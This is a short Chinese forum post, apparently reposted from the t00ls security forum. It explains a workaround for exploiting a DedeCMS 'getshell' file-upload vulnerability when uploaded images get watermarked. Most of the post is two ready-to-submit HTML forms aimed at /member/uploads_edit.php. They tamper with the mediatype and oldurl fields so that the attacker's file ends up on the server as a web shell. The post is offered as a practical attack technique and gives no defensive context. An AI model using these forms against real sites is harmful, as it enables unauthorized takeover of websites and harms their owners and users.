关于DEDE GETSHELL漏洞的另类 提交方法

转自t00ls

在搞一个DEDE站的时候，那个是最新版本的在上传图片的时候被加上了万恶的水印，被加上水印之后就这个PP就废了

解决办法：

1、修改后缀为SWF格式，把mediatype 的ID改成2 （1貌似是图片的格式，2是SWF的格式

<form action="/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="2" />
<input type="text" name="oldurl" value="/uploads/userup/3/1.swf" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.swf" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>

后面的就和以前的利用方法一样了

2、更简单点的表单，uploads_edit.php被删的情况下更新空间LOGO可以试试。

<form action="http://doc.xxxx.com/member/uploads_edit.php" method="post" enctype="multipart/form-data">
<input type="text" name="oldurl" value="z" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="addonfile" type="file"/>
<input type="submit" name="submit" value="Submit"/>
</form>